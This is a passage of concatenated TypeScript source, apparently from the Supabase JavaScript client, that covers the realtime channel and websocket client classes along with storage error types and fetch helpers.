}\n this.socket.log('channel', `timeout ${this.topic}`, this.joinPush.timeout)\n this.state = CHANNEL_STATES.errored\n this.rejoinTimer.scheduleTimeout()\n })\n this._on(CHANNEL_EVENTS.reply, {}, (payload: any, ref: string) => {\n this._trigger(this._replyEventName(ref), payload)\n })\n\n this.presence = new RealtimePresence(this)\n\n this.broadcastEndpointURL =\n httpEndpointURL(this.socket.endPoint) + '/api/broadcast'\n }\n\n /** Subscribe registers your client with the server */\n subscribe(\n callback?: (status: `${REALTIME_SUBSCRIBE_STATES}`, err?: Error) => void,\n timeout = this.timeout\n ): RealtimeChannel {\n if (!this.socket.isConnected()) {\n this.socket.connect()\n }\n\n if (this.joinedOnce) {\n throw `tried to subscribe multiple times. 'subscribe' can only be called a single time per channel instance`\n } else {\n const {\n config: { broadcast, presence, private: isPrivate },\n } = this.params\n this._onError((e: Error) => callback && callback('CHANNEL_ERROR', e))\n this._onClose(() => callback && callback('CLOSED'))\n\n const accessTokenPayload: { access_token?: string } = {}\n const config = {\n broadcast,\n presence,\n postgres_changes:\n this.bindings.postgres_changes?.map((r) => r.filter) ?? [],\n private: isPrivate,\n }\n\n if (this.socket.accessToken) {\n accessTokenPayload.access_token = this.socket.accessToken\n }\n\n this.updateJoinPayload({ ...{ config }, ...accessTokenPayload })\n\n this.joinedOnce = true\n this._rejoin(timeout)\n\n this.joinPush\n .receive(\n 'ok',\n ({\n postgres_changes: serverPostgresFilters,\n }: {\n postgres_changes: {\n id: string\n event: string\n schema?: string\n table?: string\n filter?: string\n }[]\n }) => {\n this.socket.accessToken &&\n this.socket.setAuth(this.socket.accessToken)\n\n if (serverPostgresFilters === undefined) {\n callback && callback('SUBSCRIBED')\n return\n } else {\n const clientPostgresBindings = this.bindings.postgres_changes\n const bindingsLen = clientPostgresBindings?.length ?? 0\n const newPostgresBindings = []\n\n for (let i = 0; i < bindingsLen; i++) {\n const clientPostgresBinding = clientPostgresBindings[i]\n const {\n filter: { event, schema, table, filter },\n } = clientPostgresBinding\n const serverPostgresFilter =\n serverPostgresFilters && serverPostgresFilters[i]\n\n if (\n serverPostgresFilter &&\n serverPostgresFilter.event === event &&\n serverPostgresFilter.schema === schema &&\n serverPostgresFilter.table === table &&\n serverPostgresFilter.filter === filter\n ) {\n newPostgresBindings.push({\n ...clientPostgresBinding,\n id: serverPostgresFilter.id,\n })\n } else {\n this.unsubscribe()\n callback &&\n callback(\n 'CHANNEL_ERROR',\n new Error(\n 'mismatch between server and client bindings for postgres changes'\n )\n )\n return\n }\n }\n\n this.bindings.postgres_changes = newPostgresBindings\n\n callback && callback('SUBSCRIBED')\n return\n }\n }\n )\n .receive('error', (error: { [key: string]: any }) => {\n callback &&\n callback(\n 'CHANNEL_ERROR',\n new Error(\n JSON.stringify(Object.values(error).join(', ') || 'error')\n )\n )\n return\n })\n .receive('timeout', () => {\n callback && callback('TIMED_OUT')\n return\n })\n }\n\n return this\n }\n\n presenceState<\n T extends { [key: string]: any } = {}\n >(): RealtimePresenceState {\n return this.presence.state as RealtimePresenceState\n }\n\n async track(\n payload: { [key: string]: any },\n opts: { [key: string]: any } = {}\n ): Promise {\n return await this.send(\n {\n type: 'presence',\n event: 'track',\n payload,\n },\n opts.timeout || this.timeout\n )\n }\n\n async untrack(\n opts: { [key: string]: any } = {}\n ): Promise {\n return await this.send(\n {\n type: 'presence',\n event: 'untrack',\n },\n opts\n )\n }\n\n /**\n * Creates an event handler that listens to changes.\n */\n on(\n type: `${REALTIME_LISTEN_TYPES.PRESENCE}`,\n filter: { event: `${REALTIME_PRESENCE_LISTEN_EVENTS.SYNC}` },\n callback: () => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.PRESENCE}`,\n filter: { event: `${REALTIME_PRESENCE_LISTEN_EVENTS.JOIN}` },\n callback: (payload: RealtimePresenceJoinPayload) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.PRESENCE}`,\n filter: { event: `${REALTIME_PRESENCE_LISTEN_EVENTS.LEAVE}` },\n callback: (payload: RealtimePresenceLeavePayload) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.POSTGRES_CHANGES}`,\n filter: RealtimePostgresChangesFilter<`${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.ALL}`>,\n callback: (payload: RealtimePostgresChangesPayload) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.POSTGRES_CHANGES}`,\n filter: RealtimePostgresChangesFilter<`${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.INSERT}`>,\n callback: (payload: RealtimePostgresInsertPayload) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.POSTGRES_CHANGES}`,\n filter: RealtimePostgresChangesFilter<`${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.UPDATE}`>,\n callback: (payload: RealtimePostgresUpdatePayload) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.POSTGRES_CHANGES}`,\n filter: RealtimePostgresChangesFilter<`${REALTIME_POSTGRES_CHANGES_LISTEN_EVENT.DELETE}`>,\n callback: (payload: RealtimePostgresDeletePayload) => void\n ): RealtimeChannel\n /**\n * The following is placed here to display on supabase.com/docs/reference/javascript/subscribe.\n * @param type One of \"broadcast\", \"presence\", or \"postgres_changes\".\n * @param filter Custom object specific to the Realtime feature detailing which payloads to receive.\n * @param callback Function to be invoked when event handler is triggered.\n */\n on(\n type: `${REALTIME_LISTEN_TYPES.BROADCAST}`,\n filter: { event: string },\n callback: (payload: {\n type: `${REALTIME_LISTEN_TYPES.BROADCAST}`\n event: string\n [key: string]: any\n }) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES.BROADCAST}`,\n filter: { event: string },\n callback: (payload: {\n type: `${REALTIME_LISTEN_TYPES.BROADCAST}`\n event: string\n payload: T\n }) => void\n ): RealtimeChannel\n on(\n type: `${REALTIME_LISTEN_TYPES}`,\n filter: { event: string; [key: string]: string },\n callback: (payload: any) => void\n ): RealtimeChannel {\n return this._on(type, filter, callback)\n }\n /**\n * Sends a message into the channel.\n *\n * @param args Arguments to send to channel\n * @param args.type The type of event to send\n * @param args.event The name of the event being sent\n * @param args.payload Payload to be sent\n * @param opts Options to be used during the send process\n */\n async send(\n args: {\n type: 'broadcast' | 'presence' | 'postgres_changes'\n event: string\n payload?: any\n [key: string]: any\n },\n opts: { [key: string]: any } = {}\n ): Promise {\n if (!this._canPush() && args.type === 'broadcast') {\n const { event, payload: endpoint_payload } = args\n const options = {\n method: 'POST',\n headers: {\n Authorization: this.socket.accessToken\n ? `Bearer ${this.socket.accessToken}`\n : '',\n apikey: this.socket.apiKey ? this.socket.apiKey : '',\n 'Content-Type': 'application/json',\n },\n body: JSON.stringify({\n messages: [\n { topic: this.subTopic, event, payload: endpoint_payload },\n ],\n }),\n }\n\n try {\n const response = await this._fetchWithTimeout(\n this.broadcastEndpointURL,\n options,\n opts.timeout ?? this.timeout\n )\n\n await response.body?.cancel()\n return response.ok ? 'ok' : 'error'\n } catch (error: any) {\n if (error.name === 'AbortError') {\n return 'timed out'\n } else {\n return 'error'\n }\n }\n } else {\n return new Promise((resolve) => {\n const push = this._push(args.type, args, opts.timeout || this.timeout)\n\n if (args.type === 'broadcast' && !this.params?.config?.broadcast?.ack) {\n resolve('ok')\n }\n\n push.receive('ok', () => resolve('ok'))\n push.receive('error', () => resolve('error'))\n push.receive('timeout', () => resolve('timed out'))\n })\n }\n }\n\n updateJoinPayload(payload: { [key: string]: any }): void {\n this.joinPush.updatePayload(payload)\n }\n\n /**\n * Leaves the channel.\n *\n * Unsubscribes from server events, and instructs channel to terminate on server.\n * Triggers onClose() hooks.\n *\n * To receive leave acknowledgements, use the a `receive` hook to bind to the server ack, ie:\n * channel.unsubscribe().receive(\"ok\", () => alert(\"left!\") )\n */\n unsubscribe(timeout = this.timeout): Promise<'ok' | 'timed out' | 'error'> {\n this.state = CHANNEL_STATES.leaving\n const onClose = () => {\n this.socket.log('channel', `leave ${this.topic}`)\n this._trigger(CHANNEL_EVENTS.close, 'leave', this._joinRef())\n }\n\n this.rejoinTimer.reset()\n // Destroy joinPush to avoid connection timeouts during unscription phase\n this.joinPush.destroy()\n\n return new Promise((resolve) => {\n const leavePush = new Push(this, CHANNEL_EVENTS.leave, {}, timeout)\n\n leavePush\n .receive('ok', () => {\n onClose()\n resolve('ok')\n })\n .receive('timeout', () => {\n onClose()\n resolve('timed out')\n })\n .receive('error', () => {\n resolve('error')\n })\n\n leavePush.send()\n\n if (!this._canPush()) {\n leavePush.trigger('ok', {})\n }\n })\n }\n\n /** @internal */\n\n async _fetchWithTimeout(\n url: string,\n options: { [key: string]: any },\n timeout: number\n ) {\n const controller = new AbortController()\n const id = setTimeout(() => controller.abort(), timeout)\n\n const response = await this.socket.fetch(url, {\n ...options,\n signal: controller.signal,\n })\n\n clearTimeout(id)\n\n return response\n }\n\n /** @internal */\n _push(\n event: string,\n payload: { [key: string]: any },\n timeout = this.timeout\n ) {\n if (!this.joinedOnce) {\n throw `tried to push '${event}' to '${this.topic}' before joining. Use channel.subscribe() before pushing events`\n }\n let pushEvent = new Push(this, event, payload, timeout)\n if (this._canPush()) {\n pushEvent.send()\n } else {\n pushEvent.startTimeout()\n this.pushBuffer.push(pushEvent)\n }\n\n return pushEvent\n }\n\n /**\n * Overridable message hook\n *\n * Receives all events for specialized message handling before dispatching to the channel callbacks.\n * Must return the payload, modified or unmodified.\n *\n * @internal\n */\n _onMessage(_event: string, payload: any, _ref?: string) {\n return payload\n }\n\n /** @internal */\n _isMember(topic: string): boolean {\n return this.topic === topic\n }\n\n /** @internal */\n _joinRef(): string {\n return this.joinPush.ref\n }\n\n /** @internal */\n _trigger(type: string, payload?: any, ref?: string) {\n const typeLower = type.toLocaleLowerCase()\n const { close, error, leave, join } = CHANNEL_EVENTS\n const events: string[] = [close, error, leave, join]\n if (ref && events.indexOf(typeLower) >= 0 && ref !== this._joinRef()) {\n return\n }\n let handledPayload = this._onMessage(typeLower, payload, ref)\n if (payload && !handledPayload) {\n throw 'channel onMessage callbacks must return the payload, modified or unmodified'\n }\n\n if (['insert', 'update', 'delete'].includes(typeLower)) {\n this.bindings.postgres_changes\n ?.filter((bind) => {\n return (\n bind.filter?.event === '*' ||\n bind.filter?.event?.toLocaleLowerCase() === typeLower\n )\n })\n .map((bind) => bind.callback(handledPayload, ref))\n } else {\n this.bindings[typeLower]\n ?.filter((bind) => {\n if (\n ['broadcast', 'presence', 'postgres_changes'].includes(typeLower)\n ) {\n if ('id' in bind) {\n const bindId = bind.id\n const bindEvent = bind.filter?.event\n return (\n bindId &&\n payload.ids?.includes(bindId) &&\n (bindEvent === '*' ||\n bindEvent?.toLocaleLowerCase() ===\n payload.data?.type.toLocaleLowerCase())\n )\n } else {\n const bindEvent = bind?.filter?.event?.toLocaleLowerCase()\n return (\n bindEvent === '*' ||\n bindEvent === payload?.event?.toLocaleLowerCase()\n )\n }\n } else {\n return bind.type.toLocaleLowerCase() === typeLower\n }\n })\n .map((bind) => {\n if (typeof handledPayload === 'object' && 'ids' in handledPayload) {\n const postgresChanges = handledPayload.data\n const { schema, table, commit_timestamp, type, errors } =\n postgresChanges\n const enrichedPayload = {\n schema: schema,\n table: table,\n commit_timestamp: commit_timestamp,\n eventType: type,\n new: {},\n old: {},\n errors: errors,\n }\n handledPayload = {\n ...enrichedPayload,\n ...this._getPayloadRecords(postgresChanges),\n }\n }\n bind.callback(handledPayload, ref)\n })\n }\n }\n\n /** @internal */\n _isClosed(): boolean {\n return this.state === CHANNEL_STATES.closed\n }\n\n /** @internal */\n _isJoined(): boolean {\n return this.state === CHANNEL_STATES.joined\n }\n\n /** @internal */\n _isJoining(): boolean {\n return this.state === CHANNEL_STATES.joining\n }\n\n /** @internal */\n _isLeaving(): boolean {\n return this.state === CHANNEL_STATES.leaving\n }\n\n /** @internal */\n _replyEventName(ref: string): string {\n return `chan_reply_${ref}`\n }\n\n /** @internal */\n _on(type: string, filter: { [key: string]: any }, callback: Function) {\n const typeLower = type.toLocaleLowerCase()\n\n const binding = {\n type: typeLower,\n filter: filter,\n callback: callback,\n }\n\n if (this.bindings[typeLower]) {\n this.bindings[typeLower].push(binding)\n } else {\n this.bindings[typeLower] = [binding]\n }\n\n return this\n }\n\n /** @internal */\n _off(type: string, filter: { [key: string]: any }) {\n const typeLower = type.toLocaleLowerCase()\n\n this.bindings[typeLower] = this.bindings[typeLower].filter((bind) => {\n return !(\n bind.type?.toLocaleLowerCase() === typeLower &&\n RealtimeChannel.isEqual(bind.filter, filter)\n )\n })\n return this\n }\n\n /** @internal */\n private static isEqual(\n obj1: { [key: string]: string },\n obj2: { [key: string]: string }\n ) {\n if (Object.keys(obj1).length !== Object.keys(obj2).length) {\n return false\n }\n\n for (const k in obj1) {\n if (obj1[k] !== obj2[k]) {\n return false\n }\n }\n\n return true\n }\n\n /** @internal */\n private _rejoinUntilConnected() {\n this.rejoinTimer.scheduleTimeout()\n if (this.socket.isConnected()) {\n this._rejoin()\n }\n }\n\n /**\n * Registers a callback that will be executed when the channel closes.\n *\n * @internal\n */\n private _onClose(callback: Function) {\n this._on(CHANNEL_EVENTS.close, {}, callback)\n }\n\n /**\n * Registers a callback that will be executed when the channel encounteres an error.\n *\n * @internal\n */\n private _onError(callback: Function) {\n this._on(CHANNEL_EVENTS.error, {}, (reason: string) => callback(reason))\n }\n\n /**\n * Returns `true` if the socket is connected and the channel has been joined.\n *\n * @internal\n */\n private _canPush(): boolean {\n return this.socket.isConnected() && this._isJoined()\n }\n\n /** @internal */\n private _rejoin(timeout = this.timeout): void {\n if (this._isLeaving()) {\n return\n }\n this.socket._leaveOpenTopic(this.topic)\n this.state = CHANNEL_STATES.joining\n this.joinPush.resend(timeout)\n }\n\n /** @internal */\n private _getPayloadRecords(payload: any) {\n const records = {\n new: {},\n old: {},\n }\n\n if (payload.type === 'INSERT' || payload.type === 'UPDATE') {\n records.new = Transformers.convertChangeData(\n payload.columns,\n payload.record\n )\n }\n\n if (payload.type === 'UPDATE' || payload.type === 'DELETE') {\n records.old = Transformers.convertChangeData(\n payload.columns,\n payload.old_record\n )\n }\n\n return records\n }\n}\n", "import type { WebSocket as WSWebSocket } from 'ws'\n\nimport {\n CHANNEL_EVENTS,\n CONNECTION_STATE,\n DEFAULT_HEADERS,\n DEFAULT_TIMEOUT,\n SOCKET_STATES,\n TRANSPORTS,\n VSN,\n WS_CLOSE_NORMAL,\n} from './lib/constants'\nimport Serializer from './lib/serializer'\nimport Timer from './lib/timer'\n\nimport { httpEndpointURL } from './lib/transformers'\nimport RealtimeChannel from './RealtimeChannel'\nimport type { RealtimeChannelOptions } from './RealtimeChannel'\n\ntype Fetch = typeof fetch\n\nexport type Channel = {\n name: string\n inserted_at: string\n updated_at: string\n id: number\n}\n\nexport type RealtimeClientOptions = {\n transport?: WebSocketLikeConstructor\n timeout?: number\n heartbeatIntervalMs?: number\n logger?: Function\n encode?: Function\n decode?: Function\n reconnectAfterMs?: Function\n headers?: { [key: string]: string }\n params?: { [key: string]: any }\n log_level?: 'info' | 'debug' | 'warn' | 'error'\n fetch?: Fetch\n}\n\nexport type RealtimeMessage = {\n topic: string\n event: string\n payload: any\n ref: string\n join_ref?: string\n}\n\nexport type RealtimeRemoveChannelResponse = 'ok' | 'timed out' | 'error'\n\nconst noop = () => {}\n\ninterface WebSocketLikeConstructor {\n new (\n address: string | URL,\n _ignored?: any,\n options?: { headers: Object | undefined }\n ): WebSocketLike\n}\n\ntype WebSocketLike = WebSocket | WSWebSocket | WSWebSocketDummy\n\ninterface WebSocketLikeError {\n error: any\n message: string\n type: string\n}\n\nconst NATIVE_WEBSOCKET_AVAILABLE = typeof WebSocket !== 'undefined'\n\nexport default class RealtimeClient {\n accessToken: string | null = null\n apiKey: string | null = null\n channels: RealtimeChannel[] = []\n endPoint: string = ''\n httpEndpoint: string = ''\n headers?: { [key: string]: string } = DEFAULT_HEADERS\n params?: { [key: string]: string } = {}\n timeout: number = DEFAULT_TIMEOUT\n transport: WebSocketLikeConstructor | null\n heartbeatIntervalMs: number = 30000\n heartbeatTimer: ReturnType | undefined = undefined\n pendingHeartbeatRef: string | null = null\n ref: number = 0\n reconnectTimer: Timer\n logger: Function = noop\n encode: Function\n decode: Function\n reconnectAfterMs: Function\n conn: WebSocketLike | null = null\n sendBuffer: Function[] = []\n serializer: Serializer = new Serializer()\n stateChangeCallbacks: {\n open: Function[]\n close: Function[]\n error: Function[]\n message: Function[]\n } = {\n open: [],\n close: [],\n error: [],\n message: [],\n }\n fetch: Fetch\n\n /**\n * Initializes the Socket.\n *\n * @param endPoint The string WebSocket endpoint, ie, \"ws://example.com/socket\", \"wss://example.com\", \"/socket\" (inherited host & protocol)\n * @param httpEndpoint The string HTTP endpoint, ie, \"https://example.com\", \"/\" (inherited host & protocol)\n * @param options.transport The Websocket Transport, for example WebSocket.\n * @param options.timeout The default timeout in milliseconds to trigger push timeouts.\n * @param options.params The optional params to pass when connecting.\n * @param options.headers The optional headers to pass when connecting.\n * @param options.heartbeatIntervalMs The millisec interval to send a heartbeat message.\n * @param options.logger The optional function for specialized logging, ie: logger: (kind, msg, data) => { console.log(`${kind}: ${msg}`, data) }\n * @param options.encode The function to encode outgoing messages. Defaults to JSON: (payload, callback) => callback(JSON.stringify(payload))\n * @param options.decode The function to decode incoming messages. Defaults to Serializer's decode.\n * @param options.reconnectAfterMs he optional function that returns the millsec reconnect interval. Defaults to stepped backoff off.\n */\n constructor(endPoint: string, options?: RealtimeClientOptions) {\n this.endPoint = `${endPoint}/${TRANSPORTS.websocket}`\n this.httpEndpoint = httpEndpointURL(endPoint)\n if (options?.transport) {\n this.transport = options.transport\n } else {\n this.transport = null\n }\n if (options?.params) this.params = options.params\n if (options?.headers) this.headers = { ...this.headers, ...options.headers }\n if (options?.timeout) this.timeout = options.timeout\n if (options?.logger) this.logger = options.logger\n if (options?.heartbeatIntervalMs)\n this.heartbeatIntervalMs = options.heartbeatIntervalMs\n\n const accessToken = options?.params?.apikey\n if (accessToken) {\n this.accessToken = accessToken\n this.apiKey = accessToken\n }\n\n this.reconnectAfterMs = options?.reconnectAfterMs\n ? options.reconnectAfterMs\n : (tries: number) => {\n return [1000, 2000, 5000, 10000][tries - 1] || 10000\n }\n this.encode = options?.encode\n ? options.encode\n : (payload: JSON, callback: Function) => {\n return callback(JSON.stringify(payload))\n }\n this.decode = options?.decode\n ? options.decode\n : this.serializer.decode.bind(this.serializer)\n this.reconnectTimer = new Timer(async () => {\n this.disconnect()\n this.connect()\n }, this.reconnectAfterMs)\n\n this.fetch = this._resolveFetch(options?.fetch)\n }\n\n /**\n * Connects the socket, unless already connected.\n */\n connect(): void {\n if (this.conn) {\n return\n }\n\n if (this.transport) {\n this.conn = new this.transport(this._endPointURL(), undefined, {\n headers: this.headers,\n })\n return\n }\n\n if (NATIVE_WEBSOCKET_AVAILABLE) {\n this.conn = new WebSocket(this._endPointURL())\n this.setupConnection()\n return\n }\n\n this.conn = new WSWebSocketDummy(this._endPointURL(), undefined, {\n close: () => {\n this.conn = null\n },\n })\n\n import('ws').then(({ default: WS }) => {\n this.conn = new WS(this._endPointURL(), undefined, {\n headers: this.headers,\n })\n this.setupConnection()\n })\n }\n\n /**\n * Disconnects the socket.\n *\n * @param code A numeric status code to send on disconnect.\n * @param reason A custom reason for the disconnect.\n */\n disconnect(code?: number, reason?: string): void {\n if (this.conn) {\n this.conn.onclose = function () {} // noop\n if (code) {\n this.conn.close(code, reason ?? '')\n } else {\n this.conn.close()\n }\n this.conn = null\n // remove open handles\n this.heartbeatTimer && clearInterval(this.heartbeatTimer)\n this.reconnectTimer.reset()\n }\n }\n\n /**\n * Returns all created channels\n */\n getChannels(): RealtimeChannel[] {\n return this.channels\n }\n\n /**\n * Unsubscribes and removes a single channel\n * @param channel A RealtimeChannel instance\n */\n async removeChannel(\n channel: RealtimeChannel\n ): Promise {\n const status = await channel.unsubscribe()\n if (this.channels.length === 0) {\n this.disconnect()\n }\n return status\n }\n\n /**\n * Unsubscribes and removes all channels\n */\n async removeAllChannels(): Promise {\n const values_1 = await Promise.all(\n this.channels.map((channel) => channel.unsubscribe())\n )\n this.disconnect()\n return values_1\n }\n\n /**\n * Logs the message.\n *\n * For customized logging, `this.logger` can be overridden.\n */\n log(kind: string, msg: string, data?: any) {\n this.logger(kind, msg, data)\n }\n\n /**\n * Returns the current state of the socket.\n */\n connectionState(): CONNECTION_STATE {\n switch (this.conn && this.conn.readyState) {\n case SOCKET_STATES.connecting:\n return CONNECTION_STATE.Connecting\n case SOCKET_STATES.open:\n return CONNECTION_STATE.Open\n case SOCKET_STATES.closing:\n return CONNECTION_STATE.Closing\n default:\n return CONNECTION_STATE.Closed\n }\n }\n\n /**\n * Returns `true` is the connection is open.\n */\n isConnected(): boolean {\n return this.connectionState() === CONNECTION_STATE.Open\n }\n\n channel(\n topic: string,\n params: RealtimeChannelOptions = { config: {} }\n ): RealtimeChannel {\n const chan = new RealtimeChannel(`realtime:${topic}`, params, this)\n this.channels.push(chan)\n return chan\n }\n\n /**\n * Push out a message if the socket is connected.\n *\n * If the socket is not connected, the message gets enqueued within a local buffer, and sent out when a connection is next established.\n */\n push(data: RealtimeMessage): void {\n const { topic, event, payload, ref } = data\n const callback = () => {\n this.encode(data, (result: any) => {\n this.conn?.send(result)\n })\n }\n this.log('push', `${topic} ${event} (${ref})`, payload)\n if (this.isConnected()) {\n callback()\n } else {\n this.sendBuffer.push(callback)\n }\n }\n\n /**\n * Sets the JWT access token used for channel subscription authorization and Realtime RLS.\n *\n * @param token A JWT string.\n */\n setAuth(token: string | null): void {\n this.accessToken = token\n\n this.channels.forEach((channel) => {\n token && channel.updateJoinPayload({ access_token: token })\n\n if (channel.joinedOnce && channel._isJoined()) {\n channel._push(CHANNEL_EVENTS.access_token, { access_token: token })\n }\n })\n }\n\n /**\n * Use either custom fetch, if provided, or default fetch to make HTTP requests\n *\n * @internal\n */\n _resolveFetch = (customFetch?: Fetch): Fetch => {\n let _fetch: Fetch\n if (customFetch) {\n _fetch = customFetch\n } else if (typeof fetch === 'undefined') {\n _fetch = (...args) =>\n import('@supabase/node-fetch' as any).then(({ default: fetch }) =>\n fetch(...args)\n )\n } else {\n _fetch = fetch\n }\n return (...args) => _fetch(...args)\n }\n\n /**\n * Return the next message ref, accounting for overflows\n *\n * @internal\n */\n _makeRef(): string {\n let newRef = this.ref + 1\n if (newRef === this.ref) {\n this.ref = 0\n } else {\n this.ref = newRef\n }\n\n return this.ref.toString()\n }\n\n /**\n * Unsubscribe from channels with the specified topic.\n *\n * @internal\n */\n _leaveOpenTopic(topic: string): void {\n let dupChannel = this.channels.find(\n (c) => c.topic === topic && (c._isJoined() || c._isJoining())\n )\n if (dupChannel) {\n this.log('transport', `leaving duplicate topic \"${topic}\"`)\n dupChannel.unsubscribe()\n }\n }\n\n /**\n * Removes a subscription from the socket.\n *\n * @param channel An open subscription.\n *\n * @internal\n */\n _remove(channel: RealtimeChannel) {\n this.channels = this.channels.filter(\n (c: RealtimeChannel) => c._joinRef() !== channel._joinRef()\n )\n }\n\n /**\n * Sets up connection handlers.\n *\n * @internal\n */\n private setupConnection(): void {\n if (this.conn) {\n this.conn.binaryType = 'arraybuffer'\n this.conn.onopen = () => this._onConnOpen()\n this.conn.onerror = (error: WebSocketLikeError) =>\n this._onConnError(error as WebSocketLikeError)\n this.conn.onmessage = (event: any) => this._onConnMessage(event)\n this.conn.onclose = (event: any) => this._onConnClose(event)\n }\n }\n\n /**\n * Returns the URL of the websocket.\n *\n * @internal\n */\n private _endPointURL(): string {\n return this._appendParams(\n this.endPoint,\n Object.assign({}, this.params, { vsn: VSN })\n )\n }\n\n /** @internal */\n private _onConnMessage(rawMessage: { data: any }) {\n this.decode(rawMessage.data, (msg: RealtimeMessage) => {\n let { topic, event, payload, ref } = msg\n\n if (\n (ref && ref === this.pendingHeartbeatRef) ||\n event === payload?.type\n ) {\n this.pendingHeartbeatRef = null\n }\n\n this.log(\n 'receive',\n `${payload.status || ''} ${topic} ${event} ${\n (ref && '(' + ref + ')') || ''\n }`,\n payload\n )\n this.channels\n .filter((channel: RealtimeChannel) => channel._isMember(topic))\n .forEach((channel: RealtimeChannel) =>\n channel._trigger(event, payload, ref)\n )\n this.stateChangeCallbacks.message.forEach((callback) => callback(msg))\n })\n }\n\n /** @internal */\n private _onConnOpen() {\n this.log('transport', `connected to ${this._endPointURL()}`)\n this._flushSendBuffer()\n this.reconnectTimer.reset()\n this.heartbeatTimer && clearInterval(this.heartbeatTimer)\n this.heartbeatTimer = setInterval(\n () => this._sendHeartbeat(),\n this.heartbeatIntervalMs\n )\n this.stateChangeCallbacks.open.forEach((callback) => callback())!\n }\n\n /** @internal */\n private _onConnClose(event: any) {\n this.log('transport', 'close', event)\n this._triggerChanError()\n this.heartbeatTimer && clearInterval(this.heartbeatTimer)\n this.reconnectTimer.scheduleTimeout()\n this.stateChangeCallbacks.close.forEach((callback) => callback(event))\n }\n\n /** @internal */\n private _onConnError(error: WebSocketLikeError) {\n this.log('transport', error.message)\n this._triggerChanError()\n this.stateChangeCallbacks.error.forEach((callback) => callback(error))\n }\n\n /** @internal */\n private _triggerChanError() {\n this.channels.forEach((channel: RealtimeChannel) =>\n channel._trigger(CHANNEL_EVENTS.error)\n )\n }\n\n /** @internal */\n private _appendParams(\n url: string,\n params: { [key: string]: string }\n ): string {\n if (Object.keys(params).length === 0) {\n return url\n }\n const prefix = url.match(/\\?/) ? '&' : '?'\n const query = new URLSearchParams(params)\n\n return `${url}${prefix}${query}`\n }\n\n /** @internal */\n private _flushSendBuffer() {\n if (this.isConnected() && this.sendBuffer.length > 0) {\n this.sendBuffer.forEach((callback) => callback())\n this.sendBuffer = []\n }\n }\n /** @internal */\n private _sendHeartbeat() {\n if (!this.isConnected()) {\n return\n }\n if (this.pendingHeartbeatRef) {\n this.pendingHeartbeatRef = null\n this.log(\n 'transport',\n 'heartbeat timeout. Attempting to re-establish connection'\n )\n this.conn?.close(WS_CLOSE_NORMAL, 'hearbeat timeout')\n return\n }\n this.pendingHeartbeatRef = this._makeRef()\n this.push({\n topic: 'phoenix',\n event: 'heartbeat',\n payload: {},\n ref: this.pendingHeartbeatRef,\n })\n this.setAuth(this.accessToken)\n }\n}\n\nclass WSWebSocketDummy {\n binaryType: string = 'arraybuffer'\n close: Function\n onclose: Function = () => {}\n onerror: Function = () => {}\n onmessage: Function = () => {}\n onopen: Function = () => {}\n readyState: number = SOCKET_STATES.connecting\n send: Function = () => {}\n url: string | URL | null = null\n\n constructor(\n address: string,\n _protocols: undefined,\n options: { close: Function }\n ) {\n this.url = address\n this.close = options.close\n }\n}\n", "export class StorageError extends Error {\n protected __isStorageError = true\n\n constructor(message: string) {\n super(message)\n this.name = 'StorageError'\n }\n}\n\nexport function isStorageError(error: unknown): error is StorageError {\n return typeof error === 'object' && error !== null && '__isStorageError' in error\n}\n\nexport class StorageApiError extends StorageError {\n status: number\n\n constructor(message: string, status: number) {\n super(message)\n this.name = 'StorageApiError'\n this.status = status\n }\n\n toJSON() {\n return {\n name: this.name,\n message: this.message,\n status: this.status,\n }\n }\n}\n\nexport class StorageUnknownError extends StorageError {\n originalError: unknown\n\n constructor(message: string, originalError: unknown) {\n super(message)\n this.name = 'StorageUnknownError'\n this.originalError = originalError\n }\n}\n", "type Fetch = typeof fetch\n\nexport const resolveFetch = (customFetch?: Fetch): Fetch => {\n let _fetch: Fetch\n if (customFetch) {\n _fetch = customFetch\n } else if (typeof fetch === 'undefined') {\n _fetch = (...args) =>\n import('@supabase/node-fetch' as any).then(({ default: fetch }) => fetch(...args))\n } else {\n _fetch = fetch\n }\n return (...args) => _fetch(...args)\n}\n\nexport const resolveResponse = async (): Promise => {\n if (typeof Response === 'undefined') {\n // @ts-ignore\n return (await import('@supabase/node-fetch' as any)).Response\n }\n\n return Response\n}\n", "import { StorageApiError, StorageUnknownError } from './errors'\nimport { resolveResponse } from './helpers'\nimport { FetchParameters } from './types'\n\nexport type Fetch = typeof fetch\n\nexport interface FetchOptions {\n headers?: {\n [key: string]: string\n }\n noResolveJson?: boolean\n}\n\nexport type RequestMethodType = 'GET' | 'POST' | 'PUT' | 'DELETE'\n\nconst _getErrorMessage = (err: any): string =>\n err.msg || err.message || err.error_description || err.error || JSON.stringify(err)\n\nconst handleError = async (error: unknown, reject: (reason?: any) => void) => {\n const Res = await resolveResponse()\n\n if (error instanceof Res) {\n error\n .json()\n .then((err) => {\n reject(new StorageApiError(_getErrorMessage(err), error.status || 500))\n })\n .catch((err) => {\n reject(new StorageUnknownError(_getErrorMessage(err), err))\n })\n } else {\n reject(new StorageUnknownError(_getErrorMessage(error), error))\n }\n}\n\nconst _getRequestParams = (\n method: RequestMethodType,\n options?: FetchOptions,\n parameters?: FetchParameters,\n body?: object\n) => {\n const params: { [k: string]: any } = { method, headers: options?.headers || {} }\n\n if (method === 'GET') {\n return params\n }\n\n params.headers = { 'Content-Type': 'application/json', ...options?.headers }\n params.body = JSON.stringify(body)\n return { ...params, ...parameters }\n}\n\nasync function _handleRequest(\n fetcher: Fetch,\n method: RequestMethodType,\n url: string,\n options?: FetchOptions,\n parameters?: FetchParameters,\n body?: object\n): Promise {\n return new Promise((resolve, reject) => {\n fetcher(url, _getRequestParams(method, options, parameters, body))\n .then((result) => {\n if (!result.ok) throw result\n if (options?.noResolveJson) return result\n return result.json()\n })\n .then((data) => resolve(data))\n .catch((error) => handleError(error, reject))\n })\n}\n\nexport async function get(\n fetcher: Fetch,\n url: string,\n options?: FetchOptions,\n parameters?: 